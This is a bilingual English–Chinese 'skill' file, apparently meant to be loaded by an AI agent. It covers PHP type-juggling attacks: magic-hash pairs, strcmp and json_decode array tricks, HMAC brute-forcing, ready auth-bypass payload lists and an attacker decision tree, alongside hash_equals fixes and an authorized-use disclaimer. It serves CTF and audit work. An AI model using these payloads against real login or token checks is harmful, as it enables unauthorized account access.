type-juggling

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

技能:PHP类型混淆 —— 弱比较与魔法哈希绕过

AI LOAD INSTRUCTION: PHP
==
coercion, magic hashes (
0e…
), HMAC/hash loose checks, NULL from bad types, and CTF-style
strcmp
/
json_decode
/
intval
tricks. Use strict routing: map the sink (
==
vs
hash_equals
), PHP major version, and whether both operands are attacker-controlled. 中文路由:遇到 PHP 登录/签名/
md5($_GET['x'])==md5($_GET['y'])
类题目或代码,优先读本 skill;若已用
hash_equals
/
===
则本路径通常不成立。
AI加载说明:PHP
==
强制转换、魔法哈希(
0e…
)、HMAC/哈希松散校验、错误类型导致的NULL值,以及CTF场景下的
strcmp
/
json_decode
/
intval
利用技巧。使用严格路由规则:定位风险点(
==
对比
hash_equals
)、PHP主版本号、以及是否两个操作数都可控。中文路由:遇到 PHP 登录/签名/
md5($_GET['x'])==md5($_GET['y'])
类题目或代码,优先读本 skill;若已用
hash_equals
/
===
则本路径通常不成立。

0. QUICK START

0. 快速开始

First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
首要目标:证明服务端逻辑通过类型强制转换将不相等的密钥/令牌判定为相等,而非猜测真实密码。

First-pass payloads (auth / token shape)

首测Payload(身份认证/令牌场景)

text
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
text
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00

Minimal PHP probes (local or
php -r
in lab)

最小PHP探测脚本(本地运行或实验室环境下用
php -r
执行)

php
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
php
<?php
// 松散比较探测脚本 —— 尽可能在目标PHP主版本下运行
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));

Routing hints

路由提示

线索下一步
源码里出现
==
比较密码、token、HMAC 结果
走 Section 1–3
md5($a) == md5($b)
sha1
松散比较
Section 2 魔法哈希
hash_hmac(...) != '0'
或和
"0"
比较
Section 3
strcmp
json_decode(..., true)
intval
Section 5

线索下一步
源码里出现
==
比较密码、token、HMAC 结果
跳转第1-3节
md5($a) == md5($b)
sha1
松散比较
第2节 魔法哈希
hash_hmac(...) != '0'
或和
"0"
比较
第3节
strcmp
json_decode(..., true)
intval
第5节

1. LOOSE COMPARISON (
==
) — TRUTH TABLE & VERSIONS

1. 松散比较(
==
) —— 真值表与版本差异

PHP compares operands with type juggling unless you use
===
or
hash_equals()
for secrets.
除非使用
===
或针对敏感值使用
hash_equals()
,否则PHP会通过类型转换比较操作数。

1.1 Core examples (strings vs numbers)

1.1 核心示例(字符串与数字比较)

ExpressionResultMechanism (short)
'0010e2' == '1e3'
trueBoth strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”)
'0e462097431906509019562988736854' == '0e830400451993494058024219903391'
trueBoth parse as 0.0 in scientific notation
'123a' == 123
trueString cast to int stops at first non-digit →
123
'abc' == 0
true (PHP 7.x and earlier)Non-numeric string compared to int → string becomes
0
'' == 0
trueEmpty string →
0
'' == false
trueboth “falsy” in loose rules
false == NULL
trueloose equality
0 == false
trueloose equality
'' == 0 == false == NULL
true (chain)Each adjacent pair is true under
==
(
''==0
,
0==false
,
false==NULL
) — classic “falsy” chain
'0' == false
trueString
'0'
is the only non-empty string that compares as false to boolean
'php' == 0
false (PHP 8+)PHP 8: non-numeric string no longer equals
0
表达式结果机制(简述)
'0010e2' == '1e3'
true两个字符串都符合数值格式 → 作为浮点数比较,两者解析后均为1000.0(非零,常见考题陷阱,下一行是真正的“双零”场景)
'0e462097431906509019562988736854' == '0e830400451993494058024219903391'
true两者均被解析为科学计数法的0.0
'123a' == 123
true字符串转整数时在第一个非数字字符处截断 → 结果为
123
'abc' == 0
true(PHP 7.x及更早版本非数值字符串与整数比较时,字符串会转为
0
'' == 0
true空字符串转为
0
'' == false
true松散规则下两者均为“假值”
false == NULL
true松散相等规则
0 == false
true松散相等规则
'' == 0 == false == NULL
true(链式)相邻两两在
==
规则下均为真(
''==0
0==false
false==NULL
)—— 经典假值链
'0' == false
true字符串
'0'
是唯一能与布尔值false比较返回真的非空字符串
'php' == 0
false(PHP 8+PHP 8中,非数值字符串不再与
0
相等

1.2 PHP 5 vs 7 vs 8 (high-signal deltas)

1.2 PHP 5/7/8版本差异(高影响变更)

TopicPHP 5.x / 7.x (typical)PHP 8.0+
0 == "foo"
true (string → 0)false
String-to-number for
"123a"
Still truncates for
(int)
/ numeric compare in many
==
paths
Same idea for numeric strings; non-numeric vs int fixed as above
md5([])
/
sha1([])
May warn /
NULL
-like behavior in older patterns
TypeError for wrong types — kills classic
[]
tricks unless error handling collapses to NULL
Tester takeaway: always note PHP version from headers,
X-Powered-By
, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.
场景PHP 5.x / 7.x(典型表现)PHP 8.0+
0 == "foo"
true(字符串转为0)false
"123a"
转数字
多数
==
场景下
(int)
转换/数值比较仍会截断
数值字符串逻辑不变,非数值字符串与整数比较的问题已如上修复
md5([])
/
sha1([])
旧版本中可能抛出警告/表现出类似
NULL
的行为
类型错误(TypeError),除非错误处理将结果转为NULL,否则经典
[]
利用技巧失效
测试人员注意事项:始终通过响应头、
X-Powered-By
或指纹识别确认PHP版本,PHP 7下生效的Payload可能在PHP 8中失效。

1.3 Safe alternative (defense / verification)

1.3 安全替代方案(防御/验证用)

php
hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string
// or
$expected === $actual;

php
hash_equals((string)$expected, (string)$actual);  // 抗时序攻击,严格字符串比较
// 或
$expected === $actual;

2. MAGIC HASHES (
0e…
+ digits only)

2. 魔法哈希(
0e…
开头+纯数字后缀)

When both sides are hex-looking hash strings that match
^0e[0-9]+$
, PHP treats them as floats in scientific notation → value 0.0. Then
md5(A) == md5(B)
is true even though digests differ as strings.
当比较双方都是符合
^0e[0-9]+$
格式的十六进制哈希字符串时,PHP会将其视为科学计数法表示的浮点数 → 值为0.0。此时即使两个摘要的字符串内容不同,
md5(A) == md5(B)
也会返回true

2.1 Reference table (MD5 / SHA-1 and longer algos)

2.1 参考表(MD5/SHA-1及更长算法)

AlgorithmExample inputDigest (starts with
0e
+ all decimal digits)
MD5
240610708
0e462097431906509019562988736854
MD5
QNKCDZO
0e830400451993494058024219903391
SHA-1
10932435112
0e07766915004133176347055865026311692244
SHA-224(brute-force / precomputed)Example form:
0e
+ decimal digits only →
==
with another such string is true
SHA-256(brute-force / precomputed)Same pattern: only strings matching
^0e\d+$
collide under
==
Why it works:
md5('240610708') == md5('QNKCDZO')
→ both sides match
^0e[0-9]+$
→ both interpreted as 0.0 == 0.0true.
算法示例输入摘要(以
0e
开头+全十进制数字)
MD5
240610708
0e462097431906509019562988736854
MD5
QNKCDZO
0e830400451993494058024219903391
SHA-1
10932435112
0e07766915004133176347055865026311692244
SHA-224(需暴力破解/预计算)示例格式:
0e
+ 仅十进制数字 → 与另一个同格式字符串
==
比较返回真
SHA-256(需暴力破解/预计算)相同规则:仅匹配
^0e\d+$
的字符串会在
==
下发生碰撞
原理
md5('240610708') == md5('QNKCDZO')
→ 两边都匹配
^0e[0-9]+$
→ 均被解析为0.0 == 0.0 → 返回true

2.2 Exploit pattern in code

2.2 代码中的利用场景

php
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // intended: different strings, same md5 (impossible for md5)
    // actual: two different strings whose *digests* are magic hashes
}
php
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // 预期逻辑:不同字符串拥有相同md5(对md5来说不可能)
    // 实际逻辑:两个不同字符串的摘要都是魔法哈希
}

2.3 Payload sketch (pair hunting)

2.3 Payload示例(配对使用)

text
?a=240610708&b=QNKCDZO
For SHA-224/256, treat as search problem: brute-force inputs until digest matches
^0e\d+$
; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.

text
?a=240610708&b=QNKCDZO
对于SHA-224/256,可视为搜索问题:暴力破解输入直到摘要匹配
^0e\d+$
,配对两个不同的输入即可。哈希越长破解难度越高,上述MD5/SHA1示例是常用的教学样例。

3. HMAC BYPASS (LOOSE COMPARE VS
"0"
OR
0
)

3. HMAC绕过(与
"0"
0
的松散比较)

If logic uses loose inequality against a constant:
php
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.
Brute-force
$data
(e.g. timestamp, nonce, counter) until
hash_hmac
output matches
^0e[0-9]+$
(for MD5 output) or the code’s specific loose rule — then the hash may compare equal to
0
or to another magic digest under
==
.
如果逻辑使用松散不等与常量比较:
php
if (hash_hmac('md5', $data, $key) != '0') { /* 校验通过 */ }
// 或与0、false比较,与字符串"0e..."比较等场景
暴力破解**
$data
(如时间戳、随机数、计数器)直到
hash_hmac
输出匹配
^0e[0-9]+$
**(MD5输出场景)或符合代码的特定松散规则,此时哈希在
==
规则下可能与
0
或其他魔法摘要相等。

Example (MD5-style
0e
digest for a numeric message)

示例(数值消息的MD5风格
0e
摘要)

ConceptExample
Message typeUnix timestamp, incrementing id, millisecond clock
Timestamp brute-force patternTutorials sometimes cite
1539805986
0e772967136366835494939987377058
as a magic-hash style example;
md5('1539805986')
does not yield that digest
in stock PHP — use the idea (scan timestamps / counters until output matches
^0e[0-9]+$
) and always verify against the exact function + key in the target code.
GoalFind
$data
such that
hash_hmac('md5', $data, $key)
matches
^0e[0-9]+$
NoteWithout knowing
$key
, you may still brute
$data
if algorithm/output are visible in a oracle; CTFs often leak or fix key
text
undefined
概念示例
消息类型Unix时间戳、自增ID、毫秒级时间戳
时间戳暴力破解模式教程中常提到
1539805986
0e772967136366835494939987377058
作为魔法哈希示例;原生PHP中**
md5('1539805986')
不会返回该摘要**,请使用思路(扫描时间戳/计数器直到输出匹配
^0e[0-9]+$
),并始终针对目标代码的具体函数+密钥进行验证。
目标找到
$data
使得
hash_hmac('md5', $data, $key)
匹配
^0e[0-9]+$
注意如果存在预言机可查看算法/输出,即使不知道
$key
也可以暴力破解
$data
;CTF场景中通常会泄露或固定密钥
text
undefined

Conceptual: try many timestamps

思路示例:遍历大量时间戳

for t in range(T0, T1): if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)): use t

**Mitigation**: `hash_equals($mac, $expected)` + fixed-length hex/binary encoding; never compare HMAC to bare `"0"`.

---
for t in range(T0, T1): if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)): use t

**修复方案**:使用`hash_equals($mac, $expected)` + 固定长度的十六进制/二进制编码,永远不要将HMAC与裸`"0"`比较。

---

4. NULL JUGGLING (ARRAYS & TYPE ERRORS)

4. NULL类型转换(数组与类型错误)

Invalid types can yield
NULL
on the compared side; loose equality to another
NULL
or coerced value may pass.
CallTypical PHP 7/8 behavior
md5([])
PHP 8: TypeError; older: warnings / not reliable across versions
sha1([])
Same
IdeaIf error handler or custom wrapper converts failures to
NULL
, then
NULL == NULL
or
NULL == sha1("x")
if other side is also NULL
php
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true
Real audits: look for
@
, custom
try/catch
that sets hash to
null
, or user input passed where a string is required.

无效类型可能导致比较侧返回**
NULL
**,与另一个
NULL
或强制转换后的值松散比较时可能通过校验。
调用PHP 7/8典型表现
md5([])
PHP 8:TypeError;旧版本:警告/跨版本表现不可靠
sha1([])
同上
利用思路如果错误处理器或自定义封装将失败转为**
NULL
**,那么
NULL == NULL
成立,如果另一侧也是NULL,
NULL == sha1("x")
也成立
php
// CTF/存在缺陷代码的常见模型:
@sha1($_GET['x']) == @sha1($_GET['y']);  // 如果两者都报错返回NULL → 比较结果为真
真实审计场景:查找**
@
**错误抑制符、将哈希设为
null
的自定义
try/catch
,或要求字符串的位置传入了用户输入。

5. CTF PATTERNS

5. CTF常见利用模式

5.1
strcmp
/
strcasecmp
with arrays

5.1 数组参数绕过
strcmp
/
strcasecmp

php
strcmp([], "password");  // NULL in PHP 7/8 (invalid args)
// NULL == 0  → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)
Payload:
text
?p[]=1
php
strcmp([], "password");  // PHP 7/8中返回NULL(参数无效)
// NULL == 0  → 如果代码如下松散比较则返回真:
if (strcmp($_GET['p'], $secret) == 0)
Payload:
text
?p[]=1

5.2
intval
bypass

5.2
intval
绕过

php
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0);   // → 26

// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)

// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
text
?id=0x1A
?id=010
?id=1e2
php
// 十六进制:base为0时PHP会解析0x前缀(版本相关,始终需验证)
intval("0x1A", 0);   // → 26

// 八进制:base为0时前导0会被解析为八进制
intval("010", 0);  // → 8(经典教学示例,需在目标PHP版本验证)

// 科学计数法:单独调用intval()会在'e'处截断,先转float即可
intval((float) "1e2"); // → 100
text
?id=0x1A
?id=010
?id=1e2

5.3
json_decode
+
true
for associative array auth

5.3
json_decode
+ 关联数组验证绕过

json
{"password": true}
php
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules
json
{"password": true}
php
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "非空字符串"通常返回真 —— 参考PHP松散规则

5.4
is_numeric
+ loose compare

5.4
is_numeric
+ 松散比较

php
is_numeric("0e12345");  // true
"0e12345" == 0;         // true (scientific notation → 0.0)
php
is_numeric("0e12345");  // true
"0e12345" == 0;         // true(科学计数法转为0.0)

5.5 Deserialization + magic properties

5.5 反序列化 + 魔法属性

Unserialize user input into objects whose
__toString
or properties feed into
md5($obj)
or loose compare — combine with magic hash strings on properties (CTF). Look for
unserialize($_…)
near
==
on hashes.

将用户输入反序列化为对象,其
__toString
方法或属性被传入
md5($obj)
或松散比较场景 —— 可结合属性设置为魔法哈希字符串利用(CTF场景)。查找
==
哈希比较附近的
unserialize($_…)
调用。

6. DECISION TREE

6. 决策树

text
                         +------------------+
                         | PHP loose compare|
                         | or hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | Uses === or |             | Uses == or   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               STOP (likely)              +-----v-----+
                                          | Operand   |
                                          | types?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | Both numeric| | One int & |    | Hash digests   |
                    | strings 0e… | | one string|    | both 0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH    STRING/INT           MAGIC HASH
                      COLLISION     JUGGLING             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           brute $data
                           for 0e… digest
                                  |
                           +------v------+
                           | Arrays /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+
text
                         +------------------+
                         | PHP松散比较|
                         | 或哈希等值比较? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | 使用===或 |             | 使用==或   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               停止(大概率无法利用)              +-----v-----+
                                          | 操作数   |
                                          | 类型?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | 均为数值型| | 一个int & |    | 哈希摘要   |
                    | 字符串为0e… | | 一个字符串|    | 均为0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      魔法哈希    字符串/整数           魔法哈希
                      碰撞     类型转换             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | 与"0"比较      |
                           +------+------+
                                  |
                           暴力破解$data
                           查找0e…开头的摘要
                                  |
                           +------v------+
                           | 数组 /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+

Tool references

工具参考

ToolUse
Local
php
CLI
Reproduce
==
behavior for target major version
Static code reviewGrep
==
,
!=
on crypto outputs; find missing
hash_equals
CTF frameworksPayload generators for magic hashes and
0e
search

Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.
工具用途
本地
php
CLI
复现目标PHP主版本的
==
行为
静态代码审计检索加密输出比较处的
==
!=
,查找缺失的
hash_equals
调用
CTF框架魔法哈希和
0e
搜索的Payload生成器

安全与适用范围:仅可在经授权的目标上使用(CTF、实验环境、书面许可)。本技能仅用于讲解语言语义以便开展防护和安全评估,不代表允许未经同意攻击任何系统。